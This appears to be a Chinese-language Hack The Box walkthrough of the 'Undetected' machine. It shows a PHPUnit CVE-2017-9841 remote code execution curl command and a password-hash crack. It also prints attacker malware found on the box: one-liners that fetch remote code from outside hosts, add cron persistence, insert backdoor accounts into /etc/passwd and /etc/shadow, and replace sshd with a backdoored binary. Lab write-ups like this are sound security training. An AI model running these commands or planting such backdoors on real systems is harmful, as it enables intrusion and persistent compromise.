基本信息
- https://www.hackthebox.com/home/machines/profile/439
- 10.10.11.146

端口扫描
22和80:
1 | nmap -sC -sV 10.10.11.146 |
80
在线商城,store是另一个子域名:

store.djewelry.htb
加hosts后访问:

目录扫描
store注册登录功能现在不能使用,进行目录扫描,发现vendor目录可直接访问:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://store.djewelry.htb/ -x php,html,txt |

PHPUnit
发现5.6版本的phpunit:

可以搜到相关漏洞:
- CVE-2017-9841: What is it, and how do we protect our customers? - OVHcloud Blog
https://blog.ovhcloud.com/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/
CVE-2017-9841
利用漏洞执行命令,获取shell:
1 | curl -XPOST --data '<?php system("id"); ?>' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |


/var/backups/info
简单的枚举可以发现一个info文件,下载下来分析:

可以在info中发现一串编码:


hash crack
根据解码出来的内容,可以知道是对非root用户,用户名后加1,使用指定密码hash,破解这个hash,得到复制的普通用户的密码:
1 | sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |


info command
1 | wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt; |
user flag
根据/etc/passwd中的结果,有steven和steven1两个普通用户,得到的密码可以登录steven1:

提权信息
/var/mail/steven里有一封邮件提到apache可疑行为:

mod_reader.so
查看apache模块可以发现一个时间与其他模块明显差异比较大的mod_reader.so:

下载下来分析,可以发现hook_post_config中一串base64:

解码可以发现是替换sshd后门:
1 | wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd |
sshd
后门sshd也下载下来分析,其中auth_password函数得到后门密码验证过程:

这里有点问题,我本地ghidra出来的backdoor结果有两部分是错误的,正确的放在后面了
然后就是按顺序排列,hex 进行异或,得到后门密码:

Password
1 | 0xa5 |
root flag
使用后门密码登录,得到root:

1 | root:$6$xxydXHZzlPY4U0lU$qJDDFjfkXQnhUcESjCaoCWjMT9gAPnyCLJ8U5l2KSlOO3hPMUVxAOUZwvcm87Vkz0Vyc./cDsb2nNZT0dYIbv.:19031:0:99999:7::: |
参考资料
- CVE-2017-9841: What is it, and how do we protect our customers? - OVHcloud Blog
https://blog.ovhcloud.com/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/ - Undetected - discussion | RaidForums
https://raidforums.com/Thread-Tutorial-Undetected-discussion